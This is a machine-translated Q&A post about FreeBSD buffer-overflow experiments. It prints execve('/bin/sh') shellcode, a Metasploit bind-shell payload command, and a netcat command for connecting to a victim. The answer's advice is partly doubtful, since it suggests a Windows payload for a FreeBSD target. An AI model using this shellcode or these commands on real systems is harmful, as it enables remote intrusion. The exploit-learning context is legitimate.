我一直在试验FreeBSD系统上的缓冲区溢出。 作为第一个实验,我试图让被利用的程序启动另一个进程(在这种情况下为/ bin / hostname)。一切正常,程序打印主机名然后终止。 之后我尝试让程序产生一个shell(即执行/ bin / sh)。我假设这可以通过简单地交换表示要调用的程序的字符串来完成。当我尝试这个时,被利用的程序就会退出,根据gdb,它确实成功地生成了一个新进程(/ bin / sh)。但是,没有生成shell。 然后我尝试了我的第一个漏洞并将/ bin / sh文件移动到/ bin / hostname,仍然没有改变任何东西。 我现在的问题是,从任何其他命令执行/ bin / sh似乎有什么不同?
作为参考,对于shell产生尝试,我使用了以下shellcode:
char code[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x54\x53\xb0\x3b\x50\xcd\x80";
答案 0 :(得分:3)
这就像调用“ifconfig”命令一样。如果你想要执行一个命令,那么你的shell代码是完美的,但是如果你想要一个交互式shell,你不能只运行sh。
简单地运行sh会导致shell被执行,它不会让你对shell进行交互式控制。
<强>解决方案:强> 使用shell代码生成器生成反向tcp shell或绑定shell,并将其用作漏洞利用的有效负载。
如果您尝试在Metasploit中执行此操作,那么这是您想要的示例命令。
msfpayload windows/shell_bind_tcp LPORT=4444 R | msfencode -e x86/alpha_mixed -b '\x00' -t c
研究一下,玩一下,你会得到它。实际上,与执行静态命令相比,获取交互式shell要困难得多。
完成后,您可以使用netcat等程序连接并使用shell。
netcat.exe -nv <victim ip> <port where shell was bound to>
希望这是正确的解决方案。